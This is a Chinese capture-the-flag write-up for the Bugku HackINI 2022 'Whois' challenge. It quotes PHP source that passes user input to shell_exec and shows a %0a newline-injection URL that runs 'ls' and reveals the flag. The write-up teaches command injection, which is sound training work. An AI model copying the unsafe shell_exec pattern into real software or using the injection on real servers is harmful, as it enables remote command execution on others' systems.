Bugku HackINI 2022 Whois 详解

目录

前置知识

解题过程

总结


前置知识

网络安全-绕过技巧(WAF、白名单、黑名单)总结-CSDN博客

解题过程

打开靶场

类似请求查询外网某个服务的一个界面,第一时间想到SSRF,后续抓包也看到了host和query的参数,但是尝试发现SSRF并不行

ctrl+U 查看源码可以发现 query.php,访问得到

复制代码
<?php

error_reporting(0);

$output = null;
$host_regex = "/^[0-9a-zA-Z][0-9a-zA-Z\.-]+$/";
$query_regex = "/^[0-9a-zA-Z\. ]+$/";


if (isset($_GET['query']) && isset($_GET['host']) && 
      is_string($_GET['query']) && is_string($_GET['host'])) {

  $query = $_GET['query'];
  $host = $_GET['host'];
  
  if ( !preg_match($host_regex, $host) || !preg_match($query_regex, $query) ) {
    $output = "Invalid query or whois host";
  } else {
    $output = shell_exec("/usr/bin/whois -h ${host} ${query}");
  }

} 

发现两个参数并没有进行什么过滤,只是确保两个参数是字符串等等,关键点在于

复制代码
$output = shell_exec("/usr/bin/whois -h ${host} ${query}");

很明显目标是利用shell_exec进行RCE

/usr/bin/whois明显是Linux系统,可以用换行符,达到执行两条命令的效果,

这里需要采用URL编码才能正常解析换行符,%0a

下面用ls看下当前目录下文件

复制代码
/query.php?host=whois.verisign-grs.com%0a&query=ls

可以看到有以下文件可疑

复制代码
thisistheflagwithrandomstuffthatyouwontguessJUSTCATME

先尝试直接访问

成功获取flag

复制代码
shellmates{i_$h0U1D_HaVE_R3AD_7HE_dOc_W3Ll_9837432986534065}

总结

基础的Linux RCE 绕过

相关推荐
H.莓飛1 小时前
【C++】内存管理
linux·开发语言·jvm·c++·visual studio
励志师code1 小时前
RoCE 网络实战:从 NCCL 调优到 RDMA 硬件计数器排障
linux·运维·网络·云计算
水饺编程1 小时前
第2章:Linux 基础,pwd 命令
linux·c语言·汇编
砚凝霜1 小时前
【软考信息安全】第二十一章 网络设备安全增强技术与漏洞防护
网络·安全·web安全
鱼很腾apoc1 小时前
【MySQL】 第1期 从核心概念到表约束全解析
linux·c语言·数据库·学习·mysql
程序员-Benothing2 小时前
Linux进程优先级与调度:nice、renice、CPU亲和性实战
linux·运维·服务器
程序员-Benothing2 小时前
Linux进程前后台管理:jobs、fg、bg、nohup、disown
linux·运维·服务器
进击的荆棘3 小时前
Linux系统——库的原理与制作之ELF文件的形成与加载的过程(下)
linux·动静态库
CrazyMo_3 小时前
鸿蒙高级——内存专用之linux-reserve-memory 方案简介
linux·运维·服务器
看着博客敲代码3 小时前
GitLab CVE-2026-85706 未授权任意文件读取漏洞排查与修复
安全·web安全·网络安全